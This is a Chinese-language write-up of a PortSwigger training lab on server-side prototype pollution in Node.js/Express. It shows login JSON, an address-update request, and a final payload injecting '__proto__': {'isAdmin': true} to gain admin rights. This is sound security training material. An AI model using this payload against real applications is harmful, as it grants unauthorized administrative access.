从业者-服务端原型链污染-权限提升
# 实验室:通过服务端原型链污染实现权限提升
# 题目
此实验室基于 Node.js 和 Express 框架构建。它容易受到服务端原型链污染的影响,因为它不安全地将用户可控输入合并到服务端 JavaScript 对象中。这很容易被检测到,因为任何通过原型链继承而来的污染属性在 HTTP 响应中都是可见的。
若要解决实验室问题,请:
- 找到一个可以向全局
Object.prototype
添加任意属性的原型污染源。 - 确定一个可用于权限提升的小工具属性。
- 访问管理面板并删除
carlos
用户。
你可以使用以下凭据登录到自己的帐户:wiener
:peter
笔记
在测试服务端原型链污染时,很可能会破坏应用程序功能,甚至完全关停服务器。如果发生这种情况,你可以使用实验室横幅中提供的按钮,来手动重启服务器。请记住,在测试真实网站时,你不太可能有此选项,因此你应该始终谨慎行事。
- name: 实验室-从业者
desc: 通过服务端原型链污染实现权限提升 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/prototype-pollution/server-side/lab-privilege-escalation-via-server-side-prototype-pollution
bgColor: '#001350'
textColor: '#4cc1ff'
1
2
3
4
5
6
2
3
4
5
6
# 实操
(目前只有图,文字后面有时间补)
点击 “ACCESS THE LAB” 进入实验室。
{
"csrf":"GIOZI665M3T4r4JCLsX7ucnfub9wHDJw",
"username":"wiener",
"password":"peter"
}
1
2
3
4
5
2
3
4
5
{
"address_line_1":"Wiener HQ",
"address_line_2":"One Wiener Way",
"city":"Wienerville",
"postcode":"BU1 1RP",
"country":"UK",
"sessionId":"d83Np2SexJtXnJieqopKucmG2llbLgZT"
}
{
"username":"wiener",
"firstname":"Peter",
"lastname":"Wiener",
"address_line_1":"Wiener HQ",
"address_line_2":"One Wiener Way",
"city":"Wienerville",
"postcode":"BU1 1RP",
"country":"UK",
"isAdmin":false
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{
"address_line_1":"Wiener HQ",
"address_line_2":"One Wiener Way",
"city":"Wienerville",
"postcode":"BU1 1RP",
"country":"UK",
"sessionId":"d83Np2SexJtXnJieqopKucmG2llbLgZT",
"__proto__":{
"isAdmin":true
}
}
1
2
3
4
5
6
7
8
9
10
11
2
3
4
5
6
7
8
9
10
11
编辑 (opens new window)